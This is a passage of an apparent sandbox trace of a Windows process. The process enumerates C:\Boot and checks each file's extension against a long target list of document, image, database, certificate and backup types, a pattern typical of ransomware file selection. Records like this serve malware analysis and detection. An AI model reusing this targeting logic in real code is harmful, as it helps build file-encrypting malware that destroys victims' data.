lstrlenW (lpString=".nef") returned 4 [0089.780] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".nrw") returned 4 [0089.780] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".obj") returned 4 [0089.780] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".odb") returned 4 [0089.780] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".odc") returned 4 [0089.780] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".odm") returned 4 [0089.780] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".odp") returned 4 [0089.780] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".ods") returned 4 [0089.780] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".oft") returned 4 [0089.780] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".one") returned 4 [0089.780] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".onepkg") returned 7 [0089.780] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0089.780] lstrlenW (lpString=".onetoc2") returned 8 [0089.780] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0089.780] lstrlenW (lpString=".opt") returned 4 [0089.780] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.780] lstrlenW (lpString=".oqy") returned 4 [0089.780] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".orf") returned 4 [0089.781] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".p12") returned 4 [0089.781] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".p7b") returned 4 [0089.781] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".p7c") returned 4 [0089.781] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pam") returned 4 [0089.781] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pbm") returned 4 [0089.781] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pct") returned 4 [0089.781] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pcx") returned 4 [0089.781] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pdd") returned 4 [0089.781] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pdf") returned 4 [0089.781] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pdp") returned 4 [0089.781] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pef") returned 4 [0089.781] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pem") returned 4 [0089.781] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pff") returned 4 [0089.781] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.781] lstrlenW (lpString=".pfm") returned 4 [0089.781] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.782] lstrlenW (lpString=".pfx") returned 4 [0089.782] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.782] lstrlenW (lpString=".pgm") returned 4 [0089.782] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0089.782] lstrlenW (lpString=".php") returned 4 [0089.782] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.782] lstrlenW (lpString=".php3") returned 5 [0089.782] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0089.782] lstrlenW (lpString=".php4") returned 5 [0089.782] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0089.782] lstrlenW (lpString=".php5") returned 5 [0089.782] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0089.782] lstrlenW (lpString=".phtml") returned 6 [0089.782] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0089.782] lstrlenW (lpString=".pict") returned 5 [0089.782] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0089.782] lstrlenW (lpString=".pl") returned 3 [0089.782] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.782] lstrlenW (lpString=".pls") returned 4 [0089.782] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.782] lstrlenW (lpString=".pm") returned 3 [0089.782] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.782] lstrlenW (lpString=".png") returned 4 [0089.783] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.783] lstrlenW (lpString=".pnm") returned 4 [0089.783] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.783] lstrlenW (lpString=".pot") returned 4 [0089.783] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.783] lstrlenW (lpString=".potm") returned 5 [0089.783] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0089.783] lstrlenW (lpString=".potx") returned 5 [0089.783] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0089.783] lstrlenW (lpString=".ppa") returned 4 [0089.783] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.783] lstrlenW (lpString=".ppam") returned 5 [0089.783] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0089.783] lstrlenW (lpString=".ppm") returned 4 [0089.783] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.783] lstrlenW (lpString=".pps") returned 4 [0089.783] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".ppsm") returned 5 [0089.784] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0089.784] lstrlenW (lpString=".ppt") returned 4 [0089.784] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".pptm") returned 5 [0089.784] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0089.784] lstrlenW (lpString=".pptx") returned 5 [0089.784] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0089.784] lstrlenW (lpString=".prn") returned 4 [0089.784] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".ps") returned 3 [0089.784] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.784] lstrlenW (lpString=".psb") returned 4 [0089.784] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".psd") returned 4 [0089.784] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".pst") returned 4 [0089.784] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".ptx") returned 4 [0089.784] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".pub") returned 4 [0089.784] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".pwm") returned 4 [0089.784] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".pxr") returned 4 [0089.784] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.784] lstrlenW (lpString=".py") returned 3 [0089.785] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.785] lstrlenW (lpString=".qt") returned 3 [0089.785] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.785] lstrlenW (lpString=".r3d") returned 4 [0089.785] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.785] lstrlenW (lpString=".raf") returned 4 [0089.785] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0089.785] lstrlenW (lpString=".rar") returned 4 [0089.785] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0089.785] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0089.785] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0089.785] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0089.785] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.785] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.786] lstrlenW (lpString="C:\\Boot\\en-US") returned 13 [0089.786] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260350 [0089.786] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.786] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.786] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0089.786] lstrlenW (lpString=".1cd") returned 4 [0089.786] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.786] lstrlenW (lpString=".3ds") returned 4 [0089.786] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.786] lstrlenW (lpString=".3fr") returned 4 [0089.786] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.786] lstrlenW (lpString=".3g2") returned 4 [0089.786] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.786] lstrlenW (lpString=".3gp") returned 4 [0089.786] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.786] lstrlenW (lpString=".7z") returned 3 [0089.786] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.786] lstrlenW (lpString=".accda") returned 6 [0089.786] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".accdb") returned 6 [0089.787] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".accdc") returned 6 [0089.787] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".accde") returned 6 [0089.787] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".accdt") returned 6 [0089.787] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".accdw") returned 6 [0089.787] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.787] lstrlenW (lpString=".adb") returned 4 [0089.787] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".adp") returned 4 [0089.787] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".ai") returned 3 [0089.787] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.787] lstrlenW (lpString=".ai3") returned 4 [0089.787] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".ai4") returned 4 [0089.787] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".ai5") returned 4 [0089.787] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".ai6") returned 4 [0089.787] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.787] lstrlenW (lpString=".ai7") returned 4 [0090.044] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.044] lstrlenW (lpString=".ai8") returned 4 [0090.044] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.044] lstrlenW (lpString=".anim") returned 5 [0090.044] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0090.044] lstrlenW (lpString=".arw") returned 4 [0090.044] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.044] lstrlenW (lpString=".as") returned 3 [0090.044] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.044] lstrlenW (lpString=".asa") returned 4 [0090.044] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.044] lstrlenW (lpString=".asc") returned 4 [0090.044] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.044] lstrlenW (lpString=".ascx") returned 5 [0090.044] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.044] lstrlenW (lpString=".asm") returned 4 [0090.044] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".asmx") returned 5 [0090.045] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.045] lstrlenW (lpString=".asp") returned 4 [0090.045] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".aspx") returned 5 [0090.045] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.045] lstrlenW (lpString=".asr") returned 4 [0090.045] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".asx") returned 4 [0090.045] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".avi") returned 4 [0090.045] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".avs") returned 4 [0090.045] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.045] lstrlenW (lpString=".backup") returned 7 [0090.046] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0090.046] lstrlenW (lpString=".bak") returned 4 [0090.046] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".bay") returned 4 [0090.046] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".bd") returned 3 [0090.046] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0090.046] lstrlenW (lpString=".bin") returned 4 [0090.046] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".bmp") returned 4 [0090.046] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".bz2") returned 4 [0090.046] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".c") returned 2 [0090.046] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0090.046] lstrlenW (lpString=".cdr") returned 4 [0090.046] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".cer") returned 4 [0090.046] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".cf") returned 3 [0090.046] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0090.046] lstrlenW (lpString=".cfc") returned 4 [0090.046] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".cfm") returned 4 [0090.046] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0090.046] lstrlenW (lpString=".cfml") returned 5 [0090.047] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0090.047] lstrlenW (lpString=".cfu") returned 4 [0090.047] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".chm") returned 4 [0090.047] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".cin") returned 4 [0090.047] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".class") returned 6 [0090.047] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0090.047] lstrlenW (lpString=".clx") returned 4 [0090.047] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".config") returned 7 [0090.047] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0090.047] lstrlenW (lpString=".cpp") returned 4 [0090.047] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".cr2") returned 4 [0090.047] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".crt") returned 4 [0090.047] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".crw") returned 4 [0090.047] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".cs") returned 3 [0090.047] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0090.047] lstrlenW (lpString=".css") returned 4 [0090.047] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0090.047] lstrlenW (lpString=".csv") returned 4 [0090.048] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".cub") returned 4 [0090.048] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dae") returned 4 [0090.048] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dat") returned 4 [0090.048] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".db") returned 3 [0090.048] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0090.048] lstrlenW (lpString=".dbf") returned 4 [0090.048] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dbx") returned 4 [0090.048] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dc3") returned 4 [0090.048] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dcm") returned 4 [0090.048] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dcr") returned 4 [0090.048] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".der") returned 4 [0090.048] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dib") returned 4 [0090.048] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dic") returned 4 [0090.048] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0090.048] lstrlenW (lpString=".dif") returned 4 [0090.049] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".divx") returned 5 [0090.049] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".djvu") returned 5 [0090.049] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".dng") returned 4 [0090.049] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".doc") returned 4 [0090.049] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".docm") returned 5 [0090.049] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".docx") returned 5 [0090.049] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".dot") returned 4 [0090.049] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".dotm") returned 5 [0090.049] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".dotx") returned 5 [0090.049] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0090.049] lstrlenW (lpString=".dpx") returned 4 [0090.049] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".dqy") returned 4 [0090.049] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".dsn") returned 4 [0090.049] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.049] lstrlenW (lpString=".dt") returned 3 [0090.050] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.050] lstrlenW (lpString=".dtd") returned 4 [0090.050] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".dwg") returned 4 [0090.050] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".dwt") returned 4 [0090.050] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".dx") returned 3 [0090.050] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.050] lstrlenW (lpString=".dxf") returned 4 [0090.050] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".edml") returned 5 [0090.050] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0090.050] lstrlenW (lpString=".efd") returned 4 [0090.050] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".elf") returned 4 [0090.050] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".emf") returned 4 [0090.050] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".emz") returned 4 [0090.050] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".epf") returned 4 [0090.050] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".eps") returned 4 [0090.050] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.050] lstrlenW (lpString=".epsf") returned 5 [0090.051] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0090.051] lstrlenW (lpString=".epsp") returned 5 [0090.051] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0090.051] lstrlenW (lpString=".erf") returned 4 [0090.051] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".exr") returned 4 [0090.051] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".f4v") returned 4 [0090.051] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".fido") returned 5 [0090.051] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0090.051] lstrlenW (lpString=".flm") returned 4 [0090.051] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".flv") returned 4 [0090.051] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".frm") returned 4 [0090.051] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".fxg") returned 4 [0090.051] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".geo") returned 4 [0090.051] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".gif") returned 4 [0090.051] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.051] lstrlenW (lpString=".grs") returned 4 [0090.051] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".gz") returned 3 [0090.052] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.052] lstrlenW (lpString=".h") returned 2 [0090.052] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.052] lstrlenW (lpString=".hdr") returned 4 [0090.052] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".hpp") returned 4 [0090.052] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".hta") returned 4 [0090.052] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".htc") returned 4 [0090.052] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".htm") returned 4 [0090.052] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".html") returned 5 [0090.052] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0090.052] lstrlenW (lpString=".icb") returned 4 [0090.052] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".ics") returned 4 [0090.052] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".iff") returned 4 [0090.052] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".inc") returned 4 [0090.052] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.052] lstrlenW (lpString=".indd") returned 5 [0090.052] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0090.052] lstrlenW (lpString=".ini") returned 4 [0090.053] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".iqy") returned 4 [0090.053] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".j2c") returned 4 [0090.053] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".j2k") returned 4 [0090.053] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".java") returned 5 [0090.053] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0090.053] lstrlenW (lpString=".jp2") returned 4 [0090.053] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".jpc") returned 4 [0090.053] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".jpe") returned 4 [0090.053] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.053] lstrlenW (lpString=".jpeg") returned 5 [0090.053] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0090.053] lstrlenW (lpString=".jpf") returned 4 [0090.053] lstrcmpiW (lpString1=".jpf", lpString2=".mui") 